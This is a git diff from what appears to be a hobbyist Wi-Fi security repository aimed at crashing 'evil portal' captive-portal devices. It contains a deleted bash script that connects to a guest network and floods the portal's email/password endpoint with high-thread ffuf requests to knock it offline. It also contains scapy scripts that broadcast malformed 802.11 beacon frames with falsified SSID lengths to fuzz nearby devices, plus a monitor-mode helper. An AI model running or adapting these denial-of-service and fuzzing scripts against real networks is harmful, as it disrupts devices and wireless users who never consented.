diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d8c5b65 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +private-notes.txt +boofuzz +old \ No newline at end of file diff --git a/boofuzz-email-password.py b/boofuzz-scripts/boofuzz-email-password.py similarity index 100% rename from boofuzz-email-password.py rename to boofuzz-scripts/boofuzz-email-password.py diff --git a/evil-portal-sd-ruin.bak b/evil-portal-sd-ruin.bak deleted file mode 100644 index bb2525f..0000000 --- a/evil-portal-sd-ruin.bak +++ /dev/null @@ -1,23 +0,0 @@ -#!/bin/bash -wifi_device=wlan1 -ssid=Guest-WiFi -host="192.168.4.1" - -wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt - -sudo nmcli d disconnect $wifi_device > /dev/null - -sudo nmcli dev wifi rescan > /dev/null - -echo -e "\nCashing This Evil Portal With No Survivors\n" - -sudo nmcli device wifi connect $ssid ifname $wifi_device - -echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n" - -ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3 - -echo -e "\n\nPinging To Confirm Kill...\n" -ping -c 4 $host - -echo -e "\nThat Was Big Payload (4U)\nRIP" diff --git a/evil-portal-crash b/evill-portal/evil-portal-crash similarity index 100% rename from evil-portal-crash rename to evill-portal/evil-portal-crash diff --git a/evil-portal-crash.py b/evill-portal/evil-portal-crash.py similarity index 100% rename from evil-portal-crash.py rename to evill-portal/evil-portal-crash.py diff --git a/evil-portal-sd-ruin b/evill-portal/evil-portal-sd-ruin similarity index 100% rename from evil-portal-sd-ruin rename to evill-portal/evil-portal-sd-ruin diff --git a/hex-chars-fuzzing.py b/evill-portal/hex-chars-fuzzing.py similarity index 100% rename from hex-chars-fuzzing.py rename to evill-portal/hex-chars-fuzzing.py diff --git a/hex-sniper-rifle.py b/evill-portal/hex-sniper-rifle.py similarity index 100% rename from hex-sniper-rifle.py rename to evill-portal/hex-sniper-rifle.py diff --git a/incremental-buff-overrun.py b/evill-portal/incremental-buff-overrun.py similarity index 100% rename from incremental-buff-overrun.py rename to evill-portal/incremental-buff-overrun.py diff --git a/sd-card-murder b/evill-portal/sd-card-murder similarity index 100% rename from sd-card-murder rename to evill-portal/sd-card-murder diff --git a/sd-card-murder.py b/evill-portal/sd-card-murder.py similarity index 100% rename from sd-card-murder.py rename to evill-portal/sd-card-murder.py diff --git a/maraduer-exploit-prose.txt b/notes.txt similarity index 100% rename from maraduer-exploit-prose.txt rename to notes.txt diff --git a/pyenv.txt b/pyenv.txt index a033d92..ceb26da 100644 --- a/pyenv.txt +++ b/pyenv.txt @@ -1 +1,5 @@ +# start venv source boofuzz/env/bin/activate + +# toexit +deactivate \ No newline at end of file diff --git a/rand.img b/rand.img deleted file mode 100644 index 05b3927..0000000 Binary files a/rand.img and /dev/null differ diff --git a/scapy/wifi-beacon-fuzz.py b/scapy/wifi-beacon-fuzz.py index 05db303..74751ff 100644 --- a/scapy/wifi-beacon-fuzz.py +++ b/scapy/wifi-beacon-fuzz.py @@ -30,7 +30,8 @@ def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.1 sendProbe(SSID, repeat, interval) def sendProbeFuzz(repeat=1, interval=0.150): - randMAC = RandMAC() + randMAC = '6e:07:9e:96:2b:4e' + # randMAC = RandMAC() randLen = RandNum(0, 255) randSSIDLen = random.randint(0,255) randSSIDBytes = random.randbytes(randSSIDLen) diff --git a/scapy/wifi-beacon-random-byte.py b/scapy/wifi-beacon-random-byte.py index 78a1bcb..323c6cb 100644 --- a/scapy/wifi-beacon-random-byte.py +++ b/scapy/wifi-beacon-random-byte.py @@ -5,7 +5,9 @@ from random import randbytes iface = 'wlan1' sender = 'ac:cb:12:ad:58:27' -def sendProbe(SSID, repeat=3, interval=0.100): +def sendProbe(SSID, + repeat=3, + interval=0.100): dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) beacon = Dot11Beacon() @@ -13,15 +15,25 @@ def sendProbe(SSID, repeat=3, interval=0.100): frame = RadioTap()/dot11/beacon/essid sendp(frame, iface=iface, inter=interval, count=repeat) -def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255): - dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', - addr2=sender, addr3=sender) - beacon = Dot11Beacon() - essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen) - frame = RadioTap()/dot11/beacon/essid - sendp(frame, iface=iface, inter=interval, count=repeat) +def sendProbeRaw(SSID, + repeat=1, + interval=0.200, + listedLen=255, + lenOverride=False): -def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100): + dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) + beacon = Dot11Beacon() + if lenOverride: + essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen)) + else: + essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen) + frame = RadioTap()/dot11/beacon/essid + sendp(frame, iface=iface, inter=interval, count=repeat) + +def sendRandBytesBeacons(numOfBeacons=200, + lenOfSSIDs=20, + repeat=3, + interval=0.100): for i in range(numOfBeacons): SSID = randbytes(lenOfSSIDs) urlEncoded = urllib.parse.quote(SSID) @@ -30,8 +42,9 @@ def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.1 def sendRandBytesBeaconsRaw( numOfBeacons=200, - lenOfSSIDs=256, + lenOfSSIDs=255, listedLen=255, + lenOverridei=False, repeat=1, interval=0.2): @@ -39,7 +52,13 @@ def sendRandBytesBeaconsRaw( SSID = randbytes(lenOfSSIDs) urlEncoded = urllib.parse.quote(SSID) print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") - sendProbeRaw(SSID, repeat, interval, listedLen) + sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei) + +sendRandBytesBeaconsRaw(numOfBeacons=200, + lenOfSSIDs=2, + listedLen=1, + lenOverridei=True, + repeat=3, + interval=0.1) -sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15) #sendRandBytesBeacons(100, 20, 5, 0.1) diff --git a/scapy/wifi-beacon-scapy.py.orig.bak b/scapy/wifi-beacon-scapy.py.orig.bak deleted file mode 100644 index 4308874..0000000 --- a/scapy/wifi-beacon-scapy.py.orig.bak +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import print_function -from scapy.all import ( Dot11, - Dot11Beacon, - Dot11Elt, - RadioTap, - sendp, - hexdump) - -SSID = 'Test SSID' -iface = 'wlan1' -sender = 'ac:cb:12:ad:58:27' - -dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', -addr2=sender, addr3=sender) -beacon = Dot11Beacon() -essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID)) - -frame = RadioTap()/dot11/beacon/essid - -sendp(frame, iface=iface, inter=0.100, loop=1) diff --git a/dump-script b/sd-card-helpers/dump-script similarity index 100% rename from dump-script rename to sd-card-helpers/dump-script diff --git a/mount-marauder-sd b/sd-card-helpers/mount-marauder-sd similarity index 100% rename from mount-marauder-sd rename to sd-card-helpers/mount-marauder-sd diff --git a/umount-marauder-sd b/sd-card-helpers/umount-marauder-sd similarity index 100% rename from umount-marauder-sd rename to sd-card-helpers/umount-marauder-sd diff --git a/zero-recreate-sd b/sd-card-helpers/zero-recreate-sd similarity index 100% rename from zero-recreate-sd rename to sd-card-helpers/zero-recreate-sd diff --git a/connect-wifi b/wifi-helpers/connect-wifi similarity index 100% rename from connect-wifi rename to wifi-helpers/connect-wifi diff --git a/disconnect-wifi b/wifi-helpers/disconnect-wifi similarity index 100% rename from disconnect-wifi rename to wifi-helpers/disconnect-wifi diff --git a/wifi-helpers/wifi-monitor b/wifi-helpers/wifi-monitor new file mode 100644 index 0000000..3ba494f --- /dev/null +++ b/wifi-helpers/wifi-monitor @@ -0,0 +1,9 @@ +if [ -z $1 ]; then + dev=wlan1 +else + dev=$1 +fi + +sudo airmon-ng check kill +sudo airmon-ng start $dev +sudo airmon-ng \ No newline at end of file